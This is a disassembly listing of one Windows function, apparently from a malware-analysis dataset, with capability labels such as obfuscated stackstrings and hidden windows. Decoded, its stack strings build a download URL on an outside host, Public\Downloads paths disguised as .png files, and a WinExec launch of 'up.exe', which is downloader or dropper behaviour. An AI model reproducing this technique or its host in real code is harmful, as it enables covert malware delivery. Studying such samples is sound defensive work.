Function at 0x401890
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete directory
Get common file path
Get disk information
Get file attributes
Get memory capacity
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51072d
mov eax, dword fs:[0]
push eax
sub esp, 0x2f8
mov eax, dword [0x564490]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.test
push 1
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push str.._3vCl
mov edi, eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3ce
push 0x35b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea eax, [ebp - 0x288]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 4], 0xffffffff
cmp edi, ebx
je 0x40193c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40193c
push 0xffffffffffffffff
call fcn.004faa83
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
push ebx
mov dword [ebp - 0x40], 0x555c3a43
mov dword [ebp - 0x3c], 0x73726573
mov dword [ebp - 0x38], 0x6275505c
mov dword [ebp - 0x34], 0x5c63696c
mov dword [ebp - 0x30], 0x6e776f44
mov dword [ebp - 0x2c], 0x64616f6c
mov word [ebp - 0x28], 0x5c73
mov byte [ebp - 0x26], bl
call edi
push 0x103
lea ecx, [ebp - 0x183]
push ebx
push ecx
mov byte [ebp - 0x184], bl
call fcn.004faaf0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x51ede4
mov dword [ebp - 0x24], 0x64257325
mov dword [ebp - 0x20], 0x676e702e
mov byte [ebp - 0x1c], bl
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
call edi
lea edx, [ebp - 0x2b4]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
lea ecx, [ebp - 0x2fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea edx, [ebp - 0x304]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 0x60], 0x70747468
mov dword [ebp - 0x5c], 0x672f2f3a
mov dword [ebp - 0x58], 0x6e656572
mov dword [ebp - 0x54], 0x682e616b
mov dword [ebp - 0x50], 0x73656d6f
mov dword [ebp - 0x4c], 0x6470752f
mov dword [ebp - 0x48], 0x2f657461
mov byte [ebp - 0x44], bl
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push ebx
call edi
lea eax, [ebp - 0x304]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
lea ecx, [ebp - 0x2b4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 2
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x51edd4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x80], 0x65796479
mov dword [ebp - 0x7c], 0x6e69676e
mov dword [ebp - 0x78], 0x6f6f7465
mov dword [ebp - 0x74], 0x6c642e6c
mov word [ebp - 0x70], 0x6c
push ebx
call edi
push 1
push 0x125
push 0x15c
push 0x3f2
push 0x380
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2ac], 0xf
mov dword [ebp - 0x2b0], ebx
mov byte [ebp - 0x2c0], bl
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401af0
sub eax, ecx
push eax
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x2c0]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401b30
sub eax, edx
push eax
lea eax, [ebp - 0x184]
push eax
lea ecx, [ebp - 0x2a4]
call fcn.00401570
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0x2c0]
push edx
lea eax, [ebp - 0x2a4]
push eax
mov byte [ebp - 4], 0x13
call fcn.004024a0
add esp, 0xc
test al, al
sete byte [ebp - 0x2fd]
cmp dword [ebp - 0x290], 0x10
jb 0x401b8b
mov ecx, dword [ebp - 0x2a4]
push ecx
call fcn.00407851
add esp, 4
cmp dword [ebp - 0x2ac], 0x10
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401bc0
mov edx, dword [ebp - 0x2c0]
push edx
call fcn.00407851
add esp, 4
cmp byte [ebp - 0x2fd], bl
je 0x401bce
push ebx
call fcn.004faa83
push 0xfa1
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 0x184]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x2672
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push ebx
call edi
push ebx
push 0x20
push 0x2a
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea eax, [ebp - 0x2b4]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push ebx
mov dword [ebp - 0x6c], 0x666e6f63
mov dword [ebp - 0x68], 0x692e6769
mov word [ebp - 0x64], 0x696e
mov byte [ebp - 0x62], bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 0x22d2
push 0x48
call esi
mov edi, dword [sym.imp.USER32.dll_SetTimer]
push eax
call edi
lea ecx, [ebp - 0x304]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea edx, [ebp - 0x2b4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
push 0x2433
push 0x5b
call esi
push eax
call edi
push 0x51edcc
call esi
mov edi, dword [sym.imp.USER32.dll_SetWindowTextA]
push eax
call edi
push ebx
push 0x51edc0
push str..__
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2ac], 0xf
mov dword [ebp - 0x2b0], ebx
mov byte [ebp - 0x2c0], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401cc5
sub eax, ecx
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401d04
sub eax, edx
push eax
lea ecx, [ebp - 0x184]
push ecx
lea ecx, [ebp - 0x2a4]
call fcn.00401570
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x2c0]
push eax
lea ecx, [ebp - 0x2a4]
push ecx
mov byte [ebp - 4], 0x1b
call fcn.004024a0
add esp, 0xc
test al, al
sete byte [ebp - 0x2fd]
cmp dword [ebp - 0x290], 0x10
jb 0x401d5f
mov edx, dword [ebp - 0x2a4]
push edx
call fcn.00407851
add esp, 4
cmp dword [ebp - 0x2ac], 0x10
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
mov dword [ebp - 4], 0xffffffff
jb 0x401d94
mov eax, dword [ebp - 0x2c0]
push eax
call fcn.00407851
add esp, 4
cmp byte [ebp - 0x2fd], bl
je 0x401da2
push ebx
call fcn.004faa83
lea ecx, [ebp - 0x29c]
push ecx
push ebx
mov dword [ebp - 0x18], 0x652e7075
mov word [ebp - 0x14], 0x6578
mov byte [ebp - 0x12], bl
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 1
lea edx, [ebp - 0x60]
push edx
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp - 0x184]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push ebx
push ebx
push ebx
push ebx
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0xcf0000
push 0x51eda4
push 0x51ed98
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExA]
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x51ed90
call esi
push eax
call edi
push 0x51ed88
call esi
push eax
call edi
push ebx
push 0x100
lea edx, [ebp - 0x284]
push edx
push ebx
push 0x30e7
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
lea eax, [ebp - 0x40]
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2ac], 0xf
mov dword [ebp - 0x2b0], ebx
mov byte [ebp - 0x2c0], bl
lea edi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401e80
sub eax, edi
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x2c0]
call fcn.00401570
lea eax, [ebp - 0x184]
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401ec0
sub eax, edx
push eax
lea ecx, [ebp - 0x184]
push ecx
lea ecx, [ebp - 0x2a4]
call fcn.00401570
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x2c0]
push eax
lea ecx, [ebp - 0x2a4]
push ecx
mov byte [ebp - 4], 0x23
call fcn.004024a0
add esp, 0xc
test al, al
mov edi, 0x10
sete byte [ebp - 0x2fd]
cmp dword [ebp - 0x290], edi
jb 0x401f1f
mov edx, dword [ebp - 0x2a4]
push edx
call fcn.00407851
add esp, 4
mov dword [ebp - 0x290], 0xf
mov dword [ebp - 0x294], ebx
mov byte [ebp - 0x2a4], bl
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x2ac], edi
jb 0x401f53
mov eax, dword [ebp - 0x2c0]
push eax
call fcn.00407851
add esp, 4
cmp byte [ebp - 0x2fd], bl
je 0x401f61
push ebx
call fcn.004faa83
lea ecx, [ebp - 0x40]
push ecx
lea ecx, [ebp - 0x2dc]
call fcn.00401850
lea edx, [ebp - 0x2b4]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0xd5
call edi
push ebx
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0x51ed80
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
push ebx
push 0x1e57
push 0x3e
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
lea eax, [ebp - 0x18]
mov dword [ebp - 4], 0x26
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x401fd0
sub eax, ecx
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.00401730
push 0x51ed74
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0xbe
call edi
cmp dword [ebp - 0x2c8], 0x10
mov eax, dword [ebp - 0x2dc]
jae 0x402016
lea eax, [ebp - 0x2dc]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x29c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x341
push 0x30b
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0xffffffffffffffff
call fcn.004faa83
int3